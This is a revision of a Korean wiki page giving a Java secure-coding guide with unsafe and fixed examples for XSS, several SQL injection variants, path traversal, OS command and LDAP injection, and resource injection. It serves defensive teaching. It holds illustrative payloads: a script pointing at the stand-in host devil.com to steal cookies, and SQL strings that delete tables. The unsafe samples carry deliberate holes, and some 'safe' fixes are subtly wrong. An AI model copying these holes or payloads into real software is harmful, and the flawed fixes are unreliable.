문서의 이전 판입니다!


목차

JAVA 보안 개발 가이드

1절. 입력 데이터 검증 및 표현

1. 크로스 사이트 스크립트 공격 취약점(XSS)

가. 정의

외부에서 입력되는 검증되지 않은 입력이 동적 웹페이지의 생성에 사용될 경우, 전송된 동적 웹페이지를 열람하는 접속자의 권한으로 부적절한 스크립트가 수행되어 정보 유출 등의 피해를 입힐 수 있다.

나. 안전한 코딩기법

외부에서 입력한 문자열을 사용하여 결과 페이지를 생성할 경우, replaceAll() 등과 같은 메소드를 사용하여 위험한 문자열을 제거하여야 한다.

다. 예제

안전하지 않은 코드 예제-HTML
1: <%@page contentType="text/html" pageEncoding="UTF-8"%>
2: <html>
3: <head>
4: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5: </head>
6: <body>
7: <h1>XSS Sample</h1>
8: <%
9: <!- 외부로 부터 이름을 받음 -->
10: String name = request.getParameter("name");
11: %>
12: <!-- 외부로 부터 받은 name이 그대로 출력 -->
13: <p>NAME:<%=name%></p>
14: </body>
15: </html>

위 예제는 외부 입력을 name 값으로, 특별한 처리과정 없이 결과 페이지 생성에 사용하고있다. 만약 악의적인 공격자가 name 값에 다음 아래의 스크립트를 넣으면, 희생자의 권한으로 attack.jsp 코드가 수행되게 되며, 수행하게 되면 희생자의 쿠키정보 유출 등의 피해를 주게 된다.

(예 : <script>url = "http://devil.com/attack.jsp;</script>)
안전한 코드 예제
1: <%@page contentType="text/html" pageEncoding="UTF-8"%>
2: <html>
3: <head>
4: <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
5: </head>
6: <body>
7: <h1>XSS Sample</h1>
8: <%
9: <!-- 외부로 부터 이름을 받음 -->
10: String name = request.getParameter("name");
11:
12: <!-- 외부의 입력값에 대한 검증을 한다. -->
13: if ( name != null ) {
14: name = name.replaceAll("<","&lt;");
15: name = name.replaceAll(">","&gt;");
16: } else {
17: return;
18: }
19: %>
20: <!-- 외부로 부터 받은 name에서 ‘위험 문자’를 제거한 후 출력 -->
21: <p>NAME:<%=name%></p>
22: </body>
23: </html>

위의 예제와 같이 외부 입력 문자열에서 replaceAll() 메소드를 사용하여 “<”와 “>“같이 HTML에서 스크립트 생성에 사용되는 모든 문자열을 ”&lt;”와“&gt;“로 변경함으로써 악의적인 스크립트 수행의 위험성을 줄일 수 있다. 그러나 이러한 방법이 위험성을 완전히 제거했음을 의미하지는 않는다.

라. 참고문헌

[1] CWE-80 크로스 사이트 스크립트 공격 취약점(XSS) - http://cwe.mitre.org/data/definitions/80.html
[2] OWASP Top 10 2010 - (OWASP 2010) A2 Cross-Site Scripting(XSS)
[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 1 CWE-79 ImproperNeutralization of Input During Web Page Generation ('Cross-site Scripting')

2. SQL 삽입(SQL Injection)

가. 정의

공격자가 외부 입력을 통해서 SQL 명령어를 수행할 수 있다. 즉 외부 입력한 데이터에 대한 유효성을 점검하지 않아 쿼리 로직이 변경 되어 공격자의 의도대로 타인의 정보 유출 또는 DB의 변경이 발생할 수 있다.

나. 안전한 코딩기법

preparedStatement 클래스와 하위 메소드 executeQuery(), execute(), executeUpdate()를 사용하는 것이 바람직하다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: PreparedStatement stmt = null;
3:
4: try {
5: ……
6: // 외부 환경에서 테이블명(tablename)과 사용자명(name)을 입력받는다.
7: String tableName = props.getProperty("jdbc.tableName");
8: String name = props.getProperty(" jdbc.name" );
9: String query = "SELECT * FROM " + tableName + " WHERE Name =" + name;
10:
11: // 사용자가 입력한 데이터가 SQL문에 그대로 반영된다.
12: // 사용자가 타인의 정보를 보기 위한 SQL을 사용자명(name)에 입력할 수 있다.
13: stmt = con.prepareStatement(query);
14: rs = stmt.executeQuery();
15: ResultSetMetaData rsmd = rs.getMetaData();
16: ……
17: while (rs.next()) { …… }
18: dos.writeBytes(printStr);
19: } catch (SQLException sqle) { …… }
20: finally { …… }
21: ……

위 예제는 외부 입력으로부터 tableName과 name을 받아서 SQL 질의문을 생성하고 있다.
만약 name의 값으로 “name' OR 'a'='a”과 같은 문자열이 전달되면, 다음과 같은 쿼리가생성되어 테이블 내의 모든 사용자 정보를 얻을 수 있다.

(SELECT * FROM userTable WHERE Name ='name' OR 'a'='a')


또한 name 값으로 [“name'; DELETE FROM userTable; –”]를 주게 되면 다음과 같은 쿼리가 생성되어 테이블을 모두 삭제할 수 있다.

(SELECT * FROM userTable WHERE Name ='name'; DELETE FROM userTable; --')
안전한 코드 예제
1: ……
2: PreparedStatement stmt = null;
3:
4: try {
5: ……
6: String tableName = props.getProperty("jdbc.tableName");
7: String name = props.getProperty("jdbc.name");
8:
9: // 동적 질의문으로 생성되지 않도록 PreparedStatement를 사용한다.
10: String query = "SELECT * FROM ? WHERE Name = ? " ;
11: stmt = con.prepareStatement(query);
12: // 사용자가 입력한 데이터를 setXXX()함수로 셋팅한다.
13: stmt.setString(1, tableName);
14: stmt.setString(2, name);
15:
16: rs = stmt.executeQuery();
17: ResultSetMetaData rsmd = rs.getMetaData();
18: int columnCount = rsmd.getColumnCount();
19: String printStr = "";
20: while (rs.next()) { …… }
21: dos.writeBytes(printStr);
22: } catch (SQLException sqle) { …… }
23: finally { …… }
24: ……

위의 예제와 같이 인자를 받는 PreparedStatement 객체를 상수 스트링으로 생성하고, 인자 부분을 setXXX() 메소드로 설정하여, 외부의 입력이 질의문의 구조를 바꾸는 것을 방지할 수 있다

라. 참고문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 - Injection
[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 ImproperNeutralization of Special Elements used in an SQL Command ('SQL Injection')

3. SQL 삽입공격: JDO(SQL Injection: JDO)

가. 정의

외부의 신뢰할 수 없는 입력을 적절한 검사 과정을 거치지 않고 JDO(Java Data Objects)API의 SQL 또는 JDOQL 질의문 생성을 위한 문자열로 사용하면, 공격자가 프로그래머가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 질의 명령어를 수행할 수 있다.

나. 안전한 코딩기법

JDO 질의문의 생성시에는 상수 문자열만을 사용하고 Query.execute(…) 실행시에는 인자값을 전달하는 방법(Parameterize Query)을 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public class U9102 implements ContactDAO {
3: public List<Contact> listContacts() {
4: PersistenceManager pm = getPersistenceManagerFactory().getPersistenceManager();
5: String query = "select from " + Contact.class.getName();
6: try {
7: Properties props = new Properties();
8: String fileName = "contacts.txt";
9: FileInputStream in = new FileInputStream(fileName);
10: if( in != null ) { props.load(in); }
11: in.close();
12: // 외부로 부터 입력을 받는다
13: String name = props.getProperty("name");
14: if( name != null ) {
15: query += " where name = '" + name + " '" ;
16: }
17: } catch (IOException e) { …… }
18:
19: // 와부 입력값이 JDO 객체의 인자로 사용된다.
20: return (List<Contact>) pm.newQuery(query).execute();
21: }
22: ……

공격자가 외부의 입력(name) 값을 “name'; DELETE FROM MYTABLE; –” 로 주게 되면, 다음과 같은 질의문이 수행되어 테이블이 삭제된다.

(SELECT col1 FROM MYTABLE WHERE name = 'name' ; DELETE FROM MYTABLE;--')
안전한 코드 예제
1: ……
2: public class S9102 implements ContactDAO {
3: public List<Contact> listContacts() {
4: PersistenceManager pm =
5: getPersistenceManagerFactory().getPersistenceManager();
6: String query = "select from " + Contact.class.getName();
7: String name = "";
8: try {
9: Properties props = new Properties();
10: String fileName = "contacts.txt";
11: FileInputStream in = new FileInputStream(fileName);
12: props.load(in);
13: // 외부로 부터 입력을 받는다.
14: name = props.getProperty("name");
15: // 입력값을 점검한다.
16: if (name == null || " " .equals(name)) return null;
17: query += " where name = ?" ;
18: } catch (IOException e) { …… }
19:
20: javax.jdo.Query q = pm.newQuery(query);
21: // Query API의 인자로 사용한다.
22: return (List<Contact>) q.execute(name);
23: }
24: ……

외부 입력 부분을 ?로 설정하고(Parameterize Query), 실행시에 해당 인자값이 전달되도록 수정함으로써 외부의 입력(name)이 질의문의 구조를 변경시키는 것을 방지할 수 있다.

라. 참고문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection
[3] JDO API Documentation
[4] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 ImproperNeutralization of Special Elements used in an SQL Command ('SQL Injection')

4. SQL 삽입공격: Persistence(SQL Injection: Persistence)

가. 정의

J2EE Persistence API를 사용하는 응용프로그램에서 외부의 입력을 아무 검증없이 질의문에 그대로 사용하면, 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 질의 명령어가 수행될 수 있다.

나. 안전한 코딩기법

외부의 입력이 질의문의 구조를 변경할 수 없는 인자화된 질의문(Parameterize Query)을 사용한다. 즉, 질의문의 생성시 상수 문자열만을 사용하고 javax.persistence.Query.setParameter()메소드를 사용하여 인자값을 설정하는 방법을 사용한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public class U9103 implements ServletContextListener {
3: public List<?> getAllItemsInWildcardCollection() {
4: EntityManager em = getEntityManager();
5: List<U9103> r_type = null;
6: try {
7: Properties props = new Properties();
8: String fileName = "conditions.txt";
9: FileInputStream in = new FileInputStream(fileName);
10: props.load(in);
11:
12: // 외부로 부터 입력을 받는다.
13: String id = props.getProperty(" id" );
14: // 외부 입력 값이 query의 인자로 사용이 된다.
15: Query query =
16: em.createNativeQuery("SELECT OBJECT(i) FROM Item i WHERE
i.itemID > " + id);
17: List<U9103> items = query.getResultList();
18: ……
19: return r_type;
20: }
21: ……

공격자가 외부의 입력(id)의 값으로 “foo'; DELETE FROM MYTABLE; –“을 주게 되면, 다음과 같은 질의문이 실행되어 테이블이 삭제된다.

(SELECT col1 FROM MYTABLE WHERE name = 'foo' ; DELETE FROM MYTABLE;--')
안전한 코드 예제
1: ……
2: public class S9103 implements ServletContextListener {
3: public List<?> getAllItemsInWildcardCollection() {
4: EntityManager em = getEntityManager();
5: List<S9103> r_type = null;
6: try {
7: Properties props = new Properties();
8: String fileName = "conditions.txt";
9: FileInputStream in = new FileInputStream(fileName);
10: props.load(in);
11:
12: // 외부 입력값을 받는다.
13: String id = props.getProperty("id");
14: // 입력값을 검사한다.
15: if (id == null || "".equals(id)) id = "itemid";
16: // Query문을 작성한다.
17: Query query =
18: em.createNativeQuery("SELECT OBJECT(i) FROM Item i WHERE
i.itemID > :id");
19: query.setParameter("id" , id);
20: List<S9103> items = query.getResultList();
21: ……
22: return r_type;
23: }
24: ……

위의 예제와 같이 인자를 받는 질의문(query)을 생성하고, 인자값을 설정하여 실행하도록 한다. 이를 통해 외부의 입력이 질의문의 구조를 변경시키는 것을 방지할 수 있다.

라. 참고문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection
[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 ImproperNeutralization of Special Elements used in an SQL Command ('SQL Injection')

5. SQL 삽입공격: mybatis Data Map(SQL Injection: mybatis Data Map)

가. 정의

외부에서 입력된 값이 질의어의 인자값으로만 사용되지 않고, 질의 명령어에 연결되는 문자열로 사용되면, 공격자가 의도하지 않았던 문자열을 전달함으로써 질의문의 의미를 왜곡시키거나 그 구조를 변경하여 임의의 데이터베이스 명령어를 수행할 수 있다.

나. 안전한 코딩기법

외부의 입력으로부터 위험한 문자나 의도하지 않았던 입력을 제거하는 코드를 프로그램내에 포함시킨다. mybatis Data Map 파일의 인자를 받는 질의 명령어 정의시에 문자열 삽입 인자($…$)를 사용하지 않는다. 즉 #<인자이름># 형태의 질의문을 사용한다

다. 예제

안전하지 않은 코드 예제
1: <?xml version="1.0" encoding="UTF-8"?>
2: <!DOCTYPE sqlMap PUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN" "http://www.ibatis.com/dtd/sql-map-2.dtd">
3: <sqlMap namespace="Student">
4: <resultMap id="StudentResult" class="Student">
5: <result column="ID" property="id" />
6: <result column="NAME" property="name" />
7: </resultMap>
8: <select id="listStudents" resultMap="StudentResult">
9: SELECT NUM, NAME
10: FROM STUDENTS
11: ORDER BY NUM
12: </select>
13: <select id="nameStudent" parameterClass="Integer" resultClass="Student">
14: SELECT NUM, NAME
15: FROM STUDENTS
16: WHERE NUM = #num#
17: </select>
18: <!-- dynamic SQL 사용 -->
19: <delete id="delStudent" parameterClass="Student">
20: DELETE STUDENTS
21: WHERE NUM = #num# AND Name = '$name$'
22: </delete>
23: </sqlMap>

위의 예제는 mybatis Data Map에서 사용하는 질의문 설정파일(XML)이다. 정의된 질의문중 delStudent 명령어 선언에서 질의문에 삽입되는 인자들 중 $name$으로 전달되는 문자열 값은 그대로 연결되어 질의문이 만들어진다. 따라서 만약 name의 값으로 ”' OR–') 'x'='x'“을 전달하면 다음과 같은 질의문이 수행되어 테이블의 모든 원소를 삭제하게 된다.

(DELETE STUDENTS WHERE NUM = #num# and Name = '' OR 'x'='x')
안전한 코드 예제
1: <?xml version="1.0" encoding="UTF-8"?>
2: <!DOCTYPE sqlMap PUBLIC "-//iBATIS.com//DTD SQL Map 2.0//EN"
"http://www.ibatis.com/dtd/sql-map-2.dtd">
3:
4: <sqlMap namespace="Student">
5: <resultMap id="StudentResult" class="Student">
6: <result column="ID" property="id" />
7: <result column="NAME" property="name" />
8: </resultMap>
9: <select id="listStudents" resultMap="StudentResult">
10: SELECT NUM, NAME
11: FROM STUDENTS
12: ORDER BY NUM
13: </select>
14: <select id="nameStudent" parameterClass="Integer" resultClass="Student">
15: SELECT NUM, NAME
16: FROM STUDENTS
17: WHERE NUM = #num#
18: </select>
19:
20: <!-- static SQL 사용 -->
21: <delete id="delStudent" parameterClass="Student">
22: DELETE STUDENTS
23: WHERE NUM = #num# AND Name = '#name#'
24: </delete>
25: </sqlMap>

Name 인자를 #name# 형태로 받도록 수정한다.

라. 참고 문헌

[1] CWE-89 SQL 삽입 - http://cwe.mitre.org/data/definitions/89.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection
[3] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 2 CWE-89 ImproperNeutralization of Special Elements used in an SQL Command ('SQL Injection')

6. 상대 디렉터리 경로 조작(Relative Path Traversal)

가. 정의

외부의 입력을 통하여 “디렉터리 경로 문자열” 생성이 필요한 경우, 외부 입력에서 경로 조작에 사용될 수 있는 문자를 필터링하지 않으면, 예상 밖의 영역에 대한 경로 문자열이 가능해져 시스템 정보누출, 서비스 장애 등을 유발 시킬 수 있다.

나. 안전한 코딩기법

외부의 입력이 직접 파일이름을 생성하는 사용될 수 없도록 한다. 불가피하게 직접 사용하는 경우, 다른 디렉터리의 파일을 접근할 수 없도록 replaceAll() 등의 메소드를 사용하여 위험 문자열(”,/,\)을 제거하는 필터를 거치도록 한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f(Properties request) {
3: ……
4: String name = request.getProperty("filename" );
5: if( name != null ) {
6: File file = new File("/usr/local/tmp/" + name);
7: file.delete();
8: }
9: ……
10: }

외부의 입력(name)이 삭제할 파일의 경로설정에 사용되고 있다. 만일 공격자에 의해 name의 값으로 ../../../rootFile.txt와 같은 값을 전달하면 의도하지 않았던 파일이 삭제되어 시스템에 악영향을 준다.

안전한 코드 예제
1: ……
2: public void f(Properties request) {
3: ……
4: String name = request.getProperty("user");
5: if ( name != null && !"".equals(name) ) {
6: name = name.replaceAll("/" , "" );
7: name = name.replaceAll("\\" , "" );
8: name = name.replaceAll(".", " " );
9: name = name.replaceAll("&" , " ");
10: name = name + "-report" ;
11: File file = new File("/usr/local/tmp/" + name);
12: if (file != null) file.delete();
13: }
14: ……
15: }

외부에서 입력되는 값에 대하여 Null여부를 체크하고, 외부에서 입력되는 파일이름(name)에서 상대경로(/, \\, &, . 등 특수문자)를 설정할 수 없도록 replaceAll를 이용하여 특수문자를 제거한다.

라. 참고 문헌

[1] CWE-23 상대 디렉터리 경로 조작 - http://cwe.mitre.org/data/definitions/23.html
[2] OWASP Top 10 2010 - (OWASP 2010) A4 Insecure Direct Object Reference
[3] SANS Top 25 2010 - (SANS 2010) Risky Resource Management, Rank 7 CWE ID 22:Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

7. 절대 디렉터리 경로 조작(Absolute Path Traversal)

가. 정의

외부 입력이 파일 시스템을 조작하는 경로를 직접 제어할 수 있거나 영향을 끼치면 위험하다. 사용자 입력이 파일 시스템 작업에 사용되는 경로를 제어하는 것을 허용하면, 공격자가 응용프로그램에 치명적인 시스템 파일 또는 일반 파일을 접근하거나 변경할 가능성이 존재한다. 즉, 경로 조작을 통해서 공격자가 허용되지 않은 권한을 획득하여, 설정에 관계된 파일을 변경할 수 있거나 실행시킬 수 있다.

나. 안전한 코딩기법

외부의 입력을 통해 파일이름의 생성 및 접근을 허용하지 말고, 외부 입력에 따라 접근이 허용된 파일의 리스트에서 선택하도록 프로그램을 작성하는 것이 바람직하다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f(Properties cfg) throws IOException {
3: FileInputStream fis = new FileInputStream(cfg.getProperty("subject"));
4: byte[] arr = new byte[30];
5: fis.read(arr);
6: System.out.println(arr);
7: ……
8: }

외부의 입력(fis)으로 부터 직접 파일을 생성하게 되는 경우, 임의의 파일이름을 입력 받을 수 있도록 되어 있어, 다른 파일에 접근이 가능해져 의도하지 않은 정보가 노출될 수 있다.

안전한 코드 예제
1: ……
2: public void f(Properties cfg) throws IOException {
3: FileInputStream fis;
4: String subject = cfg.getProperty("subject");
5:
6: if (subject.equals("math" ))
7: fis = new FileInputStream("math");
8: else if (subject.equals("physics"))
9: fis = new FileInputStream("physics" );
10: else if (subject.equals("chemistry" ))
11: fis = new FileInputStream("chemistry");
12: else
13: fis = new FileInputStream("default");
14:
15: byte[] arr = new byte[30];
16: fis.read(arr);
17: System.out.println(arr);
18: ……
19: }

위의 예제와 같이 접근이 허용된 파일의 리스트에서 외부 입력에 따라 파일을 선택하도록 프로그램을 작성하는 것이 바람직하다.

라. 참고 문헌

[1] CWE-36 절대 디렉터리 경로 조작 - http://cwe.mitre.org/data/definitions/36.html
[2] OWASP Top 10 2010 - (OWASP 2010) A4 Insecure Direct Object Reference
[3] SANS Top 25 2010 - Risky Resource Management, Rank 7 CWE ID 22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

8. 운영체제 명령어 삽입(Improper Neutralization of Special Elements Used in an OS Command (OS Command Injection))

가. 정의

외부 입력이 시스템 명령어 실행 인수로 적절한 처리 없이 사용되면 위험하다. 외부 입력 문자열은 신뢰할 수 없기 때문에 미리 정당한 인자값의 배열을 만든 후 적절한 인자값을 선택하는 형태로 사용해야 한다. 그렇지 않으면, 공격자가 원하는 명령어를 실행시킬 수 있다.

나. 안전한 코딩기법

외부에서 전달되는 값은 바로 시스템 내부 명령어의 생성에 사용되지 않아야 한다. 외부 입력에 따른 명령어 생성 또는 선택이 필요한 경우에는 명령어 생성에 필요한 값들을 미리 지정해 놓고 외부의 입력에 따라 선택하여 사용하는 것이 안전하다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f() throws IOException {
3: Properties props = new Properties();
4: String fileName = "file_list";
5: FileInputStream in = new FileInputStream(fileName);
6: props.load(in);
7: String version = props.getProperty("dir_type" );
8: String cmd = new String("cmd.exe /K \"rmanDB.bat \"");
9: Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + version);
10: ……
11: }

위 예제는 cmd.exe 명령어를 사용하여 rmanDB.bat 배치 명령어를 수행하며, 외부에서 전달되는 dir_type 값이 manDB.bat의 인자값으로서 명령어 스트링의 생성에 사용되고 있다.
만약 외부의 공격자가 의도하지 되지 않은 문자열을 전달할 시, dir_type이 의도했던 인자값이 아닐 경우, 비정상적인 업무를 수행할 수 있다.

안전한 코드 예제
1: ……
2: public void f() throws IOException {
3: Properties props = new Properties();
4: String fileName = "file_list";
5: FileInputStream in = new FileInputStream(fileName);
6: props.load(in);
7: String version[] = {"1.0" , "1.01" , "1.11" , "1.4" };
8: int versionSelection = Integer.parseInt(props.getProperty("version" ));
9: String cmd = new String("cmd.exe /K \"rmanDB.bat \"");
10: String vs = "";
11:
12: // 외부 입력값에 따라 지정된 목록에서 값을 선택한다.
13: if (versionSelection == 0)
14: vs = version[0];
15: else if (versionSelection == 1)
16: vs = version[1];
17: else if (versionSelection == 2)
18: vs = version[2];
19: else if (versionSelection == 3)
20: vs = version[3];
21: else
22: vs = version[3];
23: Runtime.getRuntime().exec(cmd + " c:\\prog_cmd\\" + vs);
24: ……
25: }

위와 같이 미리 정당한 인자값의 배열을 만들어 놓고, 외부의 입력에 따라 적절한 인자값을 선택하도록 하여, 외부의 부적절한 입력이 명령어로 사용될 가능성을 배제하여야 한다.

라. 참고 문헌

[1] CWE-78 운영체제 명령어 삽입 - http://cwe.mitre.org/data/definitions/78.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 Injection
[3] SANS, Frank Kim. “Top 25 Series - Rank 9 - OS Command Injection”.
[4] SANS Top 25 2010 - Insecure Interaction Between Components, RANK 9 CWE-78: ImproperNeutralization of Special Elements used in an OS Command ('OS Command Injection')

9. LDAP 삽입(LDAP Injection)

가. 정의

공격자가 외부 입력을 통해서 의도하지 않은 LDAP 명령어를 수행할 수 있다. 즉 웹 애플리케이션이 사용자가 제공한 입력을 올바르게 처리하지 못하면, 공격자가 LDAP 명령문의 구성을 바꿀 수 있으며, 이로 인해 프로세스가 명령을 실행한 컴포넌트와 동일한 Authentication을 가지고 동작하게 된다.

나. 안전한 코딩기법

외부의 입력이 LDAP 필터 문자열로 사용될 경우, 가능한 입력의 집합(white list) 또는 위험한 입력 문자열의 집합(black list의 예로는 = + < > # ; \ 등이 있음)을 설정하여, 임의의 외부의 입력이 필터 생성에 사용되지 않도록 관리한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f() {
3: Hashtable env = new Hashtable();
4: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
5: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
6: try {
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: // 프로퍼티를 만들고 외부 파일을 로드한다.
9: Properties props = new Properties();
10: String fileName = "ldap.properties";
11: FileInputStream in = new FileInputStream(fileName);
12: props.load(in);
13: // LDAP Search를 하기 위해 name을 읽는다
14: String name = props.getProperty("name" );
15: String filter = "(name =" + name + ")";
16: // LDAP search가 name값에 대한 여과없이 그대로 통과되어 검색이 되어진다.
17: NamingEnumeration answer =
ctx.search("ou=NewHires" , filter, new SearchControls());
18: printSearchEnumeration(answer);
19: ctx.close();
20: } catch (NamingException e) { …… }
21: ……

위 예제는 외부의 입력(name)이 검색을 위한 필터 문자열의 생성에 사용되고 있다. 이 경우 name 변수의 값으로 “*”을 전달할 경우 필터 문자열은 ”(name=*)“가 되어 항상 참이 되며 이는 의도하지 않은 동작일 수 있다.

안전한 코드 예제
1: ……
2: public void f() {
3: Hashtable env = new Hashtable();
4: env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
5: env.put(Context.PROVIDER_URL, "ldap://localhost:389/o=rootDir");
6: try {
7: javax.naming.directory.DirContext ctx = new InitialDirContext(env);
8: Properties props = new Properties();
9: String fileName = "ldap.properties";
10: FileInputStream in = new FileInputStream(fileName);
11:
12: if (in == null || in.available() <= 0) return;
13: props.load(in);
14:
15: if (props == null || props.isEmpty()) return;
16: String name = props.getProperty("name");
17: if (name == null || "".equals(name)) return;
18: // 읽어들인 name에 대해서 ‘*’ 문자열을 제거한다.
19: String filter = "(name =" + name.replaceAll("\\*", " " ) + ")";
20: NamingEnumeration answer =
21: ctx.search("ou=NewHires", filter, new SearchControls());
22: printSearchEnumeration(answer);
23: ctx.close();
24: } catch (NamingException e) { …… }
25: ……

검색을 위한 필터 문자열로 사용되는 외부의 입력에서 위험한 문자열을 제거하여 위험성을 부분적으로 감소시킬 수 있다.

라. 참고 문헌

[1] CWE-90 LDAP 삽입 - http://cwe.mitre.org/data/definitions/90.html
[2] OWASP Top 10 2010 - (OWASP 2010) A1 - Injection
[3] SPI Dynamics. “Web Applications and LDAP Injection”.
[4] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

10. LDAP 처리(LDAP Manipulation)

가. 정의

LDAP 질의문이나 결과로 외부 입력이 부분적으로 적절한 처리없이 사용되면 LDAP 질의문이 실행될 때 공격자는 LDAP 질의문의 내용을 마음대로 변경할 수 있다.

나. 안전한 코딩기법

외부 입력에 대한 적절한 유효성 검증 후 사용해야 하며, LDAP 사용시 질의문을 제한하여 허용된 레코드만을 접근하도록 하는 접근 제어 기능을 사용해야 한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: try {
3: ……
4: // 외부로 부터 입력을 받는다.
5: String name = props.getProperty(“ldap.properties" );
6: // 입력값에 대한 BasicAttribute를 생성한다.
7: BasicAttribute attr = new BasicAttribute("name" , name);
8: // 외부 입력값이 LDAP search의 인자로 사용이 된다.
9: NamingEnumeration answer =
10: ctx.search("ou=NewHires", attr.getID(), new SearchControls());
11: printSearchEnumeration(answer);
12: ctx.close();
13: } catch (NamingException e) { …… }
14: }
15:
16: public void printSearchEnumeration(NamingEnumeration value) {
17: try {
18: while (value.hasMore()) {
19: SearchResult sr = (SearchResult) value.next();
20: System.out.println(">>>" + sr.getName() + "\n" + sr.getAttributes());
21: }
22: } catch (NamingException e) { …… }
23: ……

위의 예제는 외부의 입력(name)이 검색을 위한 base 문자열의 생성에 사용되고 있다. 이경우 임의의 루트 디렉터리를 지정하여 정보에 접근할 수 있으며, 적절한 접근제어가 동반되지 않을 경우 정보 누출이 발생할 수 있다.

안전한 코드 예제
1: ……
2: try {
3: ……
4: // 외부로 부터 입력값을 받는다.
5: String name = props.getProperty("name");
6: // 입력값에 대한 검사를 한다.
7: if (name == null || "".equals(name)) return;
8: String filter = "(name =" + name.replaceAll("\\*", " " ) + ")";
9:
10: // 검증된 입력값을 LDAP search 인자로 사용한다.
11: NamingEnumeration answer =
12: ctx.search("ou=NewHires", filter, new SearchControls());
13: printSearchEnumeration(answer);
14: ctx.close();
15: } catch (NamingException e) { …… }
16: }
17:
18: public void printSearchEnumeration(NamingEnumeration value) {
19: try {
20: while (value.hasMore()) {
21: SearchResult sr = (SearchResult) value.next();
22: System.out.println(">>>" + sr.getName() + "\n" + sr.getAttributes());
23: }
24: } catch (NamingException e) { …… }
25: ……

외부 입력에 대한 적절한 유효성 검증 후 사용해야 하며, LDAP 사용시 질의문을 제한하여 허용된 레코드만을 접근하도록 하는 접근 제어 기능을 사용해야 한다.

라. 참고 문헌

[1] CWE-639 사용자 제어 키를 이용한 인증 - http://cwe.mitre.org/data/definitions/639.html
CWE-90 LDAP 삽입 - http://cwe.mitre.org/data/definitions/90.html
CWE-116 출력값의 부적절한 인코딩 또는 이스케이핑 - http://cwe.mitre.org/data/definitions/116.html
[2] OWASP Top 10 2010 - (OWASP 2010) A4 Insecure Direct Object Reference
[3] SANS Top 25 2009 - (SANS 2009) Insecure Interaction - CWE ID 116 Improper Encoding or Escaping of Output

11. 자원 삽입(Resource Injection)

가. 정의

외부의 신뢰할 수 없는 입력이 적절한 검사과정을 거치지 않고 자원(resource) 식별자로 사용될 경우 부적절한 자원 접근이 일어날 수 있다.

나. 안전한 코딩기법

외부의 입력을 아무 검증없이 자원 식별자로 사용하지 말고, 외부의 입력에 따라 적합한 리스트(white list)에서 선택되도록 작성한다. 만일, 외부의 입력이 파일명이면 경로 순회를 수행하는 위험한 문자를 제거한다.

다. 예제

안전하지 않는 코드 예제
1: ……
2: public void f() throws IOException {
3: int def = 1000;
4: ServerSocket serverSocket;
5: Properties props = new Properties();
6: String fileName = "file_list";
7: FileInputStream in = new FileInputStream(fileName);
8: props.load(in);
9:
10: // 외부에서 입력한 데이터를 받는다.
11: String service = props.getProperty("Service No" );
12: int port = Integer.parseInt(service);
13:
14: // 외부에서 입력받은 값으로 소켓을 생성한다.
15: if (port != 0)
16: serverSocket = new ServerSocket(port + 3000);
17: else
18: serverSocket = new ServerSocket(def + 3000);
19: ……
20: }
21: …

위의 예제는 외부의 입력(service)을 소켓 번호로 그대로 사용하고 있다. 만일, 공격자가“Service No” 의 값으로 “-2920” 과 같은 값을 지정하면 기존의 80 포트에서 구동되는 서비스와 충돌되어 에러를 야기할 수 있다.

안전한 코드 예제
1: ……
2: public void f() throws IOException {
3: ServerSocket serverSocket;
4: Properties props = new Properties();
5: String fileName = "file_list";
6: FileInputStream in = new FileInputStream(fileName);
7: String service = "";
8:
9: if (in != null && in.available() > 0) {
10: props.load(in);
11: // 외부로부터 데이터를 입력받는다.
12: service = props.getProperty("Service No");
13: }
14: // 외부의 입력을 기본적인 내용 검사를 한다.
15: if ("".equals(service)) service = "8080";
16:
17: int port = Integer.parseInt(service);
18: // 외부 입력에서 포트번호를 검사한 후 리스트에서 적합한 값을 할당한다.
19: switch (port) {
20: case 1:
21: port = 3001; break;
22: case 2:
23: port = 3002; break;
24: case 3:
25: port = 3003; break;
26: default:
27: port = 3000;
28: }
29: // 서버소켓에 검사완료된 포트를 할당한다.
30: serverSocket = new ServerSocket(port);
31: ……
32: }
33: ……

외부로부터 소켓 번호와 같은 자원을 직접 받는 것은 바람직하지 않다. 꼭 필요한 경우 가능한 리스트를 설정하고, 해당 범위 내에서 할당되도록 작성한다.

라. 참고 문헌

12. HTTP 응답 분할(Failure to Sanitize CRLF Sequences in HTTP Headers ('HTTP Response Splitting'))

